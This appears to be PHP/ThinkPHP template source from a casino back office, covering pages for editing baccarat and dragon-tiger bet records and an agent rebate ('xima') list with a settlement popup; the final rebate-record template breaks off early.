.chipOrCash { position: relative; background: #006070; color: #fff; text-align: center; cursor: pointer; border-radius: 5px; line-height: 23px;
-webkit-touch-callout: none;
-webkit-user-select: none;
-khtml-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
.chipOrCash { width: 50px; background: #006070; color: #fff; text-align: center; cursor: pointer; border-radius: 5px; line-height: 23px; -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; float: right;}
.allchip{position: absolute; color: #006070; bottom: 11px; left: 10px; font-size: 12px;}
.footer-box .radio-box .item{ width:11.5%; }
</style>
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/jquery.js"></script>
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/layer/layer.js"></script>
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/waybill.js"></script>
</head>
<body>
<form class="section-form">
<div class="bet-box table-box">
<div class="header-box clearfix">
<a href="{$backUrl}" class="back" ><div class="item"><label class="item-back">返回</label></div></a>
<div class="item title">修改路单</div>
<div class="item">
<label>桌子: </label>
<select class="select-box" id="select_table" disabled>
<option value="{$table.id}">{$table.table_name}</option>
</select>
</div>
<div class="item">
<label>靴号: </label>
<select class="select-box" id="select_boot" disabled>
<option value="{$boot.id}">{$boot.boot_num}</option>
</select>
</div>
<div class="item">
<label>铺号: </label>
<select class="select-box" id="select_number" disabled>
<option value="{$number_tab.id}">{$number_tab.number}</option>
</select>
</div>
<div class="item">
<label>结果: </label>
{if condition="$number_tab.pair == 0"}
<input class="select-box" id="result" value="{$number_tab.result_en}" readonly>
{else}
<input class="select-box" id="result" value="{$number_tab.result_en}{$number_tab.pair_en}" readonly>
{/if}
</div>
</div>
<style>
.bet-box .chip-box{
position: relative;
height: 170px;
overflow: hidden;
background: #fff;
transition: 0.6s;
transform-style: preserve-3d;
}
.bet-box .list-box{
position: absolute;
top: 0;
left: 0;
backface-visibility: hidden;
}
.bet-box .cashbox{
transform: rotateY(180deg);
}
</style>
<?php $num = 1; ?>
<?php for($i = 0; $i < 4; $i++) : ?>
<div class="list clearfix">
<?php for($j = 0; $j < 6; $j++) : ?>
<div class="item box-sizing">
<div class="absolute-box chip">
<div class="number-box">
<span>{$num}</span>
<input type="text" class="user_name" placeholder="请输入卡号" value="<?php if(isset($bet_list[$i][$j])) echo $bet_list[$i][$j]['user_name'] ?>">
</div>
<div class="chip-box">
<div class="chipbox">
<div class="item-box">
<label class="bank">庄</label>
<input class="box-sizing bet_banker" type="text" placeholder="请输入金额" value="<?php if(isset($bet_list[$i][$j]['banker_amount']) && $bet_list[$i][$j]['banker_amount'] > 0) echo $bet_list[$i][$j]['banker_amount'] ?>">
</div>
<div class="item-box">
<label class="player">闲</label>
<input class="box-sizing bet_player" type="text" placeholder="请输入金额" value="<?php if(isset($bet_list[$i][$j]['player_amount']) && $bet_list[$i][$j]['player_amount'] > 0) echo $bet_list[$i][$j]['player_amount'] ?>">
</div>
<div class="item-box">
<label class="tie">和</label>
<input class="box-sizing bet_tie" type="text" placeholder="请输入金额" value="<?php if(isset($bet_list[$i][$j]['tie_amount']) && $bet_list[$i][$j]['tie_amount'] > 0) echo $bet_list[$i][$j]['tie_amount'] ?>">
</div>
<div class="item-box">
<label class="banktie">庄对</label>
<input class="box-sizing bet_banker_pair" type="text" placeholder="请输入金额" value="<?php if(isset($bet_list[$i][$j]['banker_pair_amount']) && $bet_list[$i][$j]['banker_pair_amount'] > 0) echo $bet_list[$i][$j]['banker_pair_amount'] ?>">
</div>
<div class="item-box">
<label class="playertie">闲对</label>
<input class="box-sizing bet_player_pair" type="text" placeholder="请输入金额" value="<?php if(isset($bet_list[$i][$j]['player_pair_amount']) && $bet_list[$i][$j]['player_pair_amount'] > 0) echo $bet_list[$i][$j]['player_pair_amount'] ?>">
</div>
</div>
</div>
<button class="clear" type="button">清除</button>
<div class="allchip">总金额:<span style="color:#EBAF59" class="">0</span></div>
<div class="chipOrCash" style="background:#006070;opacity:0;"><input class="chipOrCashId" type="hidden" name="counterOrCash" value="1"/><span>美元</span></div>
<!-- 已下注的总金额 -->
<script>
var chip_box = $('.chip-box');
var length = chip_box.length - 1;
var chip = chip_box[length];
var input = $(chip).find('input');
var allchip = 0
input.each(function(){
allchip += Number($(this).val());
});
$(chip).siblings('.allchip').find('span').html(allchip);
</script>
</div>
</div>
<?php $num++; ?>
<?php endfor; ?>
</div>
<?php endfor; ?>
<div class="footer-box">
<div class="radio-box result_baccarat">
<span class="item banker <?php if($number_tab['result'] == 1) echo "on"; ?>">庄<input type="checkbox" name="checkbox" id="banker" value="banker" <?php if($number_tab['result'] == 1) echo 'checked="checked"'; ?>></span>
<span class="item player <?php if($number_tab['result'] == 2) echo "on"; ?>">闲<input type="checkbox" name="checkbox" id="player" value="player" <?php if($number_tab['result'] == 2) echo 'checked="checked"'; ?>></span>
<span class="item tie <?php if($number_tab['result'] == 3) echo "on"; ?>">和<input type="checkbox" name="checkbox" id="tie" value="tie" <?php if($number_tab['result'] == 3) echo 'checked="checked"'; ?>></span>
<span class="item banker_pair <?php if($number_tab['result'] == 4) echo "on"; ?>">庄对<input type="checkbox" name="checkbox" id="banker_pair" value="banker_pair" <?php if($number_tab['result'] == 4) echo 'checked="checked"'; ?>></span>
<span class="item player_pair <?php if($number_tab['result'] == 5) echo "on"; ?>">闲对<input type="checkbox" name="checkbox" id="player_pair" value="player_pair" <?php if($number_tab['result'] == 5) echo 'checked="checked"'; ?>></span>
{if condition="$table.mode == 2"}
<span class="item win_six">赢6<input type="checkbox" name="checkbox" id="win_six" value="win_six"></span>
{/if}
<button class="submit" type="button">提交结果</button>
</div>
</div>
</div>
</form>
</body>
</html>
<script>
$(function(){
// 键盘事件
$('input').keyup(function(){
//单个客户下注的统计
var class_name = $(this).attr('class');
if(class_name == 'user_name'){
var user_name = $(this).val();
var counterOrCash = $(this).parent().siblings('.counterOrCash').find('.counterOrCashId').val();
}else{
var user_name = $(this).parent().parent().parent().parent().find('.user_name').val();
var counterOrCash = $(this).parent().parent().parent().siblings('.counterOrCash').children('.counterOrCashId').val();
}
if(user_name != "" && user_name != undefined){
if(class_name == "user_name"){
var chipbox = $(this).parent().siblings('.chip-box').find('.chipbox');
var cashbox = $(this).parent().siblings('.chip-box').find('.cashbox');
var allChipSpan = $(this).parent().siblings('.allchip').find('span');
}else{
var chipbox = $(this).parent().parent().parent().find('.chipbox');
var cashbox = $(this).parent().parent().parent().find('.cashbox');
var allChipSpan = $(this).parent().parent().parent().siblings('.allchip').find('span');
}
var allchip = 0;
chipbox.each(function(){
$(this).find('input').each(function(){
allchip += Number($(this).val());
})
});
cashbox.each(function(){
$(this).find('input').each(function(){
allchip += Number($(this).val());
})
});
$(allChipSpan).html(allchip);
}
});
// 清除数据
$('.clear').click(function(){
var chipOrCashId = $(this).siblings('.chipOrCash').find('.chipOrCashId').val();
$(this).parent().find('input').val('');
$(this).siblings('.allchip').find('span').html(0);
$(this).siblings('.chipOrCash').find('.chipOrCashId').val(chipOrCashId);
});
/* 提交下注和结果数据 */
$('.submit').click(function(){
/* 获取桌号 靴号 */
var table_id = $('#select_table').val();
var boot_id = $('#select_boot').val();
var number_tab_id = $('#select_number').val();
// 数据验证
if(table_id <= 0){
layer.msg('请选择桌子!');
return false;
}
if(boot_id <= 0){
layer.msg('请选择靴号!');
return false;
}
if(number_tab_id <= 0){
layer.msg('请选择铺号!');
return false;
}
/* 获取下注信息 */
var chip = new Array;
var chip_mark = new Array;
var item = $('.chip');
item.each(function(){
var user_name = $(this).find('.user_name').val();
var counterOrCash = $(this).find('.counterOrCash').children('input').val();
var bet_chip = new Object;
bet_chip.user_name = user_name;
bet_chip.banker_amount = Number($(this).find('.chipbox').find('.bet_banker').val());
bet_chip.player_amount = Number($(this).find('.chipbox').find('.bet_player').val());
bet_chip.tie_amount = Number($(this).find('.chipbox').find('.bet_tie').val());
bet_chip.banker_pair_amount = Number($(this).find('.chipbox').find('.bet_banker_pair').val());
bet_chip.player_pair_amount = Number($(this).find('.chipbox').find('.bet_player_pair').val());
if (user_name != "" && user_name != undefined) {
var data = new Array;
// 下注额筹码
if (bet_chip.banker_amount != "" || bet_chip.player_amount != "" || bet_chip.tie_amount != "" || bet_chip.banker_pair_amount != "" || bet_chip.player_pair_amount != "") {
data.push(bet_chip)
}
if(data.length > 0){
chip.push(data);
}
}
});
/* 获取结果信息 */
var input = $(".result_baccarat").find('input:checked');
var result = new Object;
if(input.length <= 0){
layer.msg('请选择结果!');
return false;
}else{
result.pair = null; // 先定义对子为空
input.each(function(){
var value = $(this).val();
// 结果为 庄、闲、和 的数据拼装
if(value == "banker" || value == "player" || value == "tie"){
result.result = value;
}
// 结果有赢6
if(value == "win_six"){
result.special = value;
}else{
result.special = null;
}
// 结果为 庄对、闲对 的数据拼装
if(value == "banker_pair" || value == "player_pair"){
if(result.pair == null){
result.pair = value;
}else{
result.pair = "both_pair";
}
}
})
}
/* 拼装所有要发送的数据, 下注,写入数据库 */
var query = new Object;
query.table_id = table_id;
query.boot_id = boot_id;
query.number_tab_id = number_tab_id;
query.status = "edit"; // 用于后台处理数据 区分是添加还是修改的标识
query.chip = JSON.stringify(chip);
query.result = JSON.stringify(result);
var chip_url = "/waybill/baccarat_chip_in";
// 提醒管理员是否提交数据到后台
layer.confirm('确定提交吗?', {
btn: ['确定','取消'] //按钮
}, function(){
var result = ajax(chip_url,query);
if(result.status == 0){
layer.alert(result.msg);
return false;
}else if(result.status == 1){
layer.msg(result.msg,{time:1000},function(){
window.location.reload();
});
return false;
}
});
});
});
</script>
<script>
// 百家乐选择结果判断和颜色改变
function toggleon(index){
// 获取庄、闲、和是否被选中的信息
var banker = $(".footer-box .radio-box .banker").children("input").is(':checked');
var player = $(".footer-box .radio-box .player").children("input").is(':checked');
var tie = $(".footer-box .radio-box .tie").children("input").is(':checked');
// 选中庄
if(banker==true && index == 0){
$(".footer-box .radio-box .player").children("input").prop("checked",false);
$(".footer-box .radio-box .tie").children("input").prop("checked",false);
$(".footer-box .radio-box .player").removeClass('on');
$(".footer-box .radio-box .tie").removeClass('on');
}
// 选中闲
else if(player==true && index == 1){
$(".footer-box .radio-box .banker").children("input").prop("checked",false);
$(".footer-box .radio-box .tie").children("input").prop("checked",false);
$(".footer-box .radio-box .banker").removeClass('on');
$(".footer-box .radio-box .tie").removeClass('on');
}
// 选中和
else if(tie==true && index == 2){
$(".footer-box .radio-box .banker").children("input").prop("checked",false);
$(".footer-box .radio-box .player").children("input").prop("checked",false);
$(".footer-box .radio-box .win_six").children("input").prop("checked",false);
$(".footer-box .radio-box .banker").removeClass('on');
$(".footer-box .radio-box .player").removeClass('on');
$(".footer-box .radio-box .win_six").removeClass('on');
}
// 重新获取庄、闲、和是否被选中的信息
var banker = $(".footer-box .radio-box .banker").children("input").is(':checked');
var player = $(".footer-box .radio-box .player").children("input").is(':checked');
var tie = $(".footer-box .radio-box .tie").children("input").is(':checked');
// 当选中庄对或者闲对时
if(index == 3 || index == 4){
// 如果庄、闲或和被选中,庄对或闲对被选中
if(banker == true || player == true || tie == true){
var $checked = $(".footer-box .radio-box span").eq(index);
var checked = $checked.children("input").is(':checked');
if(checked==true){
$checked.addClass("on")
}else{
$checked.removeClass("on")
}
}
} else if(index == 5){
if(banker == true || player == true){
var $checked=$(".footer-box .radio-box span").eq(index);
var checked=$checked.children("input").is(':checked');
if(checked==true){
$checked.addClass("on")
}else{
$checked.removeClass("on")
}
}
} else {
// 当选中的是庄、闲或和时,直接选中
var $checked=$(".footer-box .radio-box span").eq(index);
var checked=$checked.children("input").is(':checked');
if(checked==true){
$checked.addClass("on")
}else{
$checked.removeClass("on")
}
}
// 没有庄、闲或和, 庄对和闲对都取消选中
if(banker == false && player == false && tie == false){
$(".footer-box .radio-box span").eq(3).children("input").prop("checked",false);
$(".footer-box .radio-box span").eq(4).children("input").prop("checked",false);
$(".footer-box .radio-box span").eq(5).children("input").prop("checked",false);
$(".footer-box .radio-box span").eq(3).removeClass('on');
$(".footer-box .radio-box span").eq(4).removeClass('on');
$(".footer-box .radio-box span").eq(5).removeClass('on');
}
}
$(".footer-box .radio-box span").click(function(){
var index = $(this).index();
toggleon(index);
});
</script>
+287
View File
@@ -0,0 +1,287 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Document</title>
<link rel="stylesheet" type="text/css" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/waybill.css">
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/jquery.js"></script>
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/layer/layer.js"></script>
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/waybill.js"></script>
<style>
.chipOrCash { position: relative; background: #006070; color: #fff; text-align: center; cursor: pointer; border-radius: 5px; line-height: 23px; -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; }
.chipOrCash {width: 50px; position: relative;top:4px; background: #006070; color: #fff; text-align: center; cursor: pointer; border-radius: 5px; line-height: 23px; -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; float: right; }
.allchip { position: absolute; color: #006070; bottom: 7px; left: 10px; font-size: 12px; }
.bet-box .chip-box{ position: relative; height: 102px; overflow: hidden; background: #fff; transition: 0.6s; transform-style: preserve-3d; }
.bet-box .list-box{ position: absolute; top: 0; left: 0; backface-visibility: hidden; }
.bet-box .cashbox{ transform: rotateY(180deg); }
.section-form{
box-sizing:border-box;
-moz-box-sizing:border-box; /* Firefox */
-webkit-box-sizing:border-box; /* Safari */
}
</style>
</head>
<body>
<div class="bet-box table-box section-form">
<div class="bet-box table-box">
<div class="header-box clearfix">
<a href="{$backUrl}" class="back" ><div class="item"><label class="item-back">返回</label></div></a>
<div class="item title">修改路单</div>
<div class="item">
<label>桌子: </label>
<select class="select-box" id="select_table" disabled>
<option value="{$table.id}">{$table.table_name}</option>
</select>
</div>
<div class="item">
<label>靴号: </label>
<select class="select-box" id="select_boot" disabled>
<option value="{$boot.id}">{$boot.boot_num}</option>
</select>
</div>
<div class="item">
<label>铺号: </label>
<select class="select-box" id="select_number" disabled>
<option value="{$number_tab.id}">{$number_tab.number}</option>
</select>
</div>
<div class="item">
<label>结果: </label>
<input class="select-box" id="result" value="{$number_tab.result_en}" readonly>
</div>
</div>
<?php $num = 0; for($i=0; $i<4; $i++): ?>
<div class="list clearfix">
<?php for($j=0; $j<6; $j++): $num++ ?>
<div class="item box-sizing chip">
<div class="absolute-box">
<div class="number-box">
<span>{$num}</span>
<input type="text" class="user_name" placeholder="请输入卡号" value="<?php if(isset($bet_list[$i][$j])) echo $bet_list[$i][$j]['user_name'] ?>">
</div>
<div class="chip-box">
<div class="chipbox">
<div class="item-box">
<label class="bank">龙</label>
<input class="box-sizing bet_banker" type="text" placeholder="请输入金额" value="<?php if(isset($bet_list[$i][$j]['banker_amount']) && $bet_list[$i][$j]['banker_amount'] > 0) echo $bet_list[$i][$j]['banker_amount'] ?>">
</div>
<div class="item-box">
<label class="player">虎</label>
<input class="box-sizing bet_player" type="text" placeholder="请输入金额" value="<?php if(isset($bet_list[$i][$j]['player_amount']) && $bet_list[$i][$j]['player_amount'] > 0) echo $bet_list[$i][$j]['player_amount'] ?>">
</div>
<div class="item-box">
<label class="tie">和</label>
<input class="box-sizing bet_tie" type="text" placeholder="请输入金额" value="<?php if(isset($bet_list[$i][$j]['tie_amount']) && $bet_list[$i][$j]['tie_amount'] > 0) echo $bet_list[$i][$j]['tie_amount'] ?>">
</div>
</div>
</div>
<button class="clear">清除</button>
<div class="allchip">总金额:<span style="color:#EBAF59">0</span></div>
<div class="chipOrCash" style="background:#006070;opacity:0;"><input class="chipOrCashId" type="hidden" name="counterOrCash" value="1"/><span>美元</span></div>
<!-- 已下注的总金额 -->
<script>
var chip_box = $('.chip-box');
var length = chip_box.length - 1;
var chip = chip_box[length];
var input = $(chip).find('input');
var allchip = 0
input.each(function(){
allchip += Number($(this).val());
});
$(chip).siblings('.allchip').find('span').html(allchip);
</script>
</div>
</div>
<?php endfor; ?>
</div>
<?php endfor; ?>
<div class="footer-box">
<div class="radio-box result_dt">
<button class="submit fr" style=" margin:13px 30px;">提交结果</button>
<span class="item fr tie <?php if($number_tab['result'] == 3) echo "on"; ?>">和<input type="checkbox" name="checkbox" id="tie" value="3" <?php if($number_tab['result'] == 3) echo 'checked="checked"'; ?>></span>
<span class="item fr player <?php if($number_tab['result'] == 2) echo "on"; ?>">虎<input type="checkbox" name="checkbox" id="player" value="2" <?php if($number_tab['result'] == 2) echo 'checked="checked"'; ?>></span>
<span class="item fr banker <?php if($number_tab['result'] == 1) echo "on"; ?>">龙<input type="checkbox" name="checkbox" id="banker" value="1" <?php if($number_tab['result'] == 1) echo 'checked="checked"'; ?>></span>
</div>
</div>
</div>
</div>
</body>
</html>
<!-- 用于处理数据 -->
<script>
$(function(){
// 键盘事件
$('input').keyup(function(){
//单个客户下注的统计
var class_name = $(this).attr('class');
if(class_name == 'user_name'){
var user_name = $(this).val();
var counterOrCash = $(this).parent().siblings('.counterOrCash').find('.counterOrCashId').val();
}else{
var user_name = $(this).parent().parent().parent().parent().find('.user_name').val();
var counterOrCash = $(this).parent().parent().parent().siblings('.counterOrCash').children('.counterOrCashId').val();
}
if(user_name != "" && user_name != undefined){
if(class_name == "user_name"){
var chipbox = $(this).parent().siblings('.chip-box').find('.chipbox');
var cashbox = $(this).parent().siblings('.chip-box').find('.cashbox');
var allChipSpan = $(this).parent().siblings('.allchip').find('span');
}else{
var chipbox = $(this).parent().parent().parent().find('.chipbox');
var cashbox = $(this).parent().parent().parent().find('.cashbox');
var allChipSpan = $(this).parent().parent().parent().siblings('.allchip').find('span');
}
var allchip = 0;
chipbox.each(function(){
$(this).find('input').each(function(){
allchip += Number($(this).val());
})
});
cashbox.each(function(){
$(this).find('input').each(function(){
allchip += Number($(this).val());
})
});
$(allChipSpan).html(allchip);
}
});
// 清除数据
$('.clear').click(function(){
var chipOrCashId = $(this).siblings('.chipOrCash').find('.chipOrCashId').val();
$(this).parent().find('input').val('');
$(this).siblings('.allchip').find('span').html(0);
$(this).siblings('.chipOrCash').find('.chipOrCashId').val(chipOrCashId);
});
/* 提交下注和结果数据 */
$('.submit').click(function(){
/* 获取桌号 靴号 */
var table_id = $('#select_table').val();
var boot_id = $('#select_boot').val();
var number_tab_id = $('#select_number').val();
// 数据验证
if(table_id <= 0){
layer.msg('请选择桌子!');
return false;
}
if(boot_id <= 0){
layer.msg('请选择靴号!');
return false;
}
if(number_tab_id <= 0){
layer.msg('请选择铺号!');
return false;
}
/* 获取下注信息 */
var chip = new Array;
var item = $('.chip');
item.each(function(){
var user_name = $(this).find('.user_name').val();
var counterOrCash = $(this).find('.counterOrCash').children('input').val();
var bet_chip = new Object;
bet_chip.user_name = user_name;
bet_chip.banker_amount = Number($(this).find('.chipbox').find('.bet_banker').val());
bet_chip.player_amount = Number($(this).find('.chipbox').find('.bet_player').val());
bet_chip.tie_amount = Number($(this).find('.chipbox').find('.bet_tie').val());
if (user_name != "" && user_name != undefined) {
var data = new Array;
// 下注额
if (bet_chip.banker_amount != "" || bet_chip.player_amount != "" || bet_chip.tie_amount != "") {
data.push(bet_chip)
}
if(data.length > 0){
chip.push(data);
}
}
});
/* 获取结果信息 */
var result = $(".result_dt").find('input:checked').val();
if(result.length <= 0){
layer.msg('请选择结果!');
return false;
}
/* 拼装所有要发送的数据, 下注,写入数据库 */
var query = new Object;
query.table_id = table_id;
query.boot_id = boot_id;
query.number_tab_id = number_tab_id;
query.status = 'edit';
query.chip = JSON.stringify(chip);
query.result = result;
var chip_url = "/waybill/dt_chip_in";
// 提醒管理员是否提交数据到后台
layer.confirm('确定提交吗?', {
btn: ['确定','取消'] //按钮
}, function(){
var result = ajax(chip_url,query);
if(result.status == 0){
layer.alert(result.msg);
return false;
}else if(result.status == 1){
layer.msg(result.msg,{time:1000},function(){
window.location.reload();
});
return false;
}
});
});
});
</script>
<!-- 用于结果的选择判断和高亮样式 -->
<script>
// 百家乐选择结果判断和颜色改变
function toggleon(index){
// 获取庄、闲、和是否被选中的信息
var banker = $(".footer-box .radio-box .banker").children("input").is(':checked');
var player = $(".footer-box .radio-box .player").children("input").is(':checked');
var tie = $(".footer-box .radio-box .tie").children("input").is(':checked');
// 选中庄
if(banker==true && index == 2){
$(".footer-box .radio-box .player").children("input").prop("checked",false);
$(".footer-box .radio-box .tie").children("input").prop("checked",false);
$(".footer-box .radio-box .player").removeClass('on');
$(".footer-box .radio-box .tie").removeClass('on');
}
// 选中闲
else if(player==true && index == 1){
$(".footer-box .radio-box .banker").children("input").prop("checked",false);
$(".footer-box .radio-box .tie").children("input").prop("checked",false);
$(".footer-box .radio-box .banker").removeClass('on');
$(".footer-box .radio-box .tie").removeClass('on');
}
// 选中和
else if(tie==true && index == 0){
$(".footer-box .radio-box .banker").children("input").prop("checked",false);
$(".footer-box .radio-box .player").children("input").prop("checked",false);
$(".footer-box .radio-box .banker").removeClass('on');
$(".footer-box .radio-box .player").removeClass('on');
}
// 当选中的是庄、闲或和时,直接选中
var $checked=$(".footer-box .radio-box span").eq(index);
var checked=$checked.children("input").is(':checked');
if(checked==true){
$checked.addClass("on")
}else{
$checked.removeClass("on")
}
}
$(".footer-box .radio-box span").click(function(){
var index = $(this).index() - 1;
toggleon(index);
});
</script>
+183
View File
@@ -0,0 +1,183 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ /*margin-top:15px; margin-bottom:-5px;*/ padding: 10px 0; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.alert{position:fixed; top:30%; left:30%; width:600px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
.alert-title{background:#F2F2F2; height:40px; padding-left:30px; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;}
.alert-main th{width:40%;}
.alert-footer{padding:20px; text-align:center;}
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">洗码列表</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right" href="javascript:location.replace(location.href);" title="刷新"><i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/xima/index" method="get">
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>用户名</th>
<th>联系人</th>
<th>上级代理</th>
<th>商户余额</th>
<th>百家乐码率(%)</th>
<th>龙虎码率(%)</th>
<th>占股(%)</th>
<th>洗码量</th>
<th>码量</th>
<th>未结码量</th>
<th>已结码量</th>
<th>最后洗码时间</th>
<th>操作</th>
</tr>
</thead>
<tbody>
{foreach name="agent_list" item="vo"}
<tr>
<td>{$vo.username}</td>
<td>{$vo.nickname}</td>
{if condition="$vo.agent_parent_id > 0"}
<td>{$vo.agent_parent_username}({$vo.agent_parent_nickname})</td>
{else}
<td>无</td>
{/if}
<td>{$vo.money}</td>
<td>{$vo.agent_ximalv}</td>
<td>{$vo.agent_ximalv_dt}</td>
<td>{$vo.agent_cs}</td>
<td>{$vo.totalXimaliang}</td>
<td>{$vo.maliang}</td>
<td>{$vo.noCheckoutMaliang}</td>
<td>{$vo.checkoutMaliang}</td>
<td>{$vo.last_xima_time}</td>
<td class="td-manage">
<a href="javascript:void(0);">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;" href="javascript:void(0)" data-userid="{$vo.id}"
data-username="{$vo.username}" data-nickname="{$vo.nickname}" data-maliang="{$vo.maliang}"
data-agent_ximalv="{$vo.agent_ximalv}%" data-agent_ximalv_dt="{$vo.agent_ximalv_dt}%" data-checkoutMaliang="{$vo.checkoutMaliang}"
data-noCheckoutMaliang="{$vo.noCheckoutMaliang}"
data-lastCheckOutTime="{$vo.last_xima_time}"
onclick="showXima(this,'alert_xima')">洗码</span>
</a>
</td>
</tr>
{/foreach}
</tbody>
</table>
{$agent_list->render()}
</div>
<div class="alert" id="alert_xima">
<div class="alert-title">洗码</div>
<div class="alert-main">
<table class="layui-table" style="margin:0;">
<tr><th style="border-left:none; text-align:right;">账号:</th><td style="border-right:none;" id="xima_username"></td></tr>
<tr><th style="border-left:none; text-align:right;">用户名:</th><td style="border-right:none;" id="xima_nickname"></td></tr>
<tr><th style="border-left:none; text-align:right;">未结码量:</th><td style="border-right:none;" id="xima_nocheckout_maliang"></td></tr>
<tr><th style="border-left:none; text-align:right;">上一次洗码时间:</th><td style="border-right:none;" id="xima_last_checkout_time"></td></tr>
</table>
</div>
<div class="alert-footer">
<input type="hidden" id="xm_user_id" value="" />
<span class="input_button" onclick="postXima()" style="background:#009688; color:#fff;">确定洗码</span>
<span class="input_button" style="margin-left: 20%; background:#f2f2f2; border:1px solid #e2e2e2;" onclick="hiddenForm('alert_xima')">取消洗码</span>
</div>
</div>
<script>
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
//弹出洗码窗口
function showXima(obj, id) {
$('#' + id).show();
$('#xm_user_id').val($(obj).attr("data-userid"));
$('#xima_username').html($(obj).attr("data-username"));
$('#xima_nickname').html($(obj).attr("data-nickname"));
$('#xima_nocheckout_maliang').html($(obj).attr("data-noCheckoutMaliang"));
$('#xima_last_checkout_time').html($(obj).attr("data-lastCheckOutTime"));
}
//点击隐藏表单弹窗
function hiddenForm(id) {
$('#' + id).hide();
}
//处理洗码
function postXima() {
layer.confirm('是否对该账号洗码?', {
btn: ['是','否'] //按钮
}, function(){
var query = new Object();
if ($('#xm_user_id').val() > 0) {
query.user_id = $('#xm_user_id').val();
} else {
layer.alert('洗码出错');
return false;
}
if (parseInt($('#xima_nocheckout_maliang').html()) > 0) {
query.total = parseInt($('#xima_nocheckout_maliang').html());
} else {
layer.alert('洗码数目必须大于0');
return false;
}
var url = '/xima/do_xima';
$.ajax({
url: url,
data: query,
dataType: "json",
type: "POST",
success: function (data) {
if (data.errorCode === 0) {
layer.alert('洗码成功',function(){
window.location.reload();
});
} else {
layer.alert(data.errorMessage);
}
}
})
});
}
</script>
</body>
</html>
+124
View File
@@ -0,0 +1,124 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">洗码记录</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
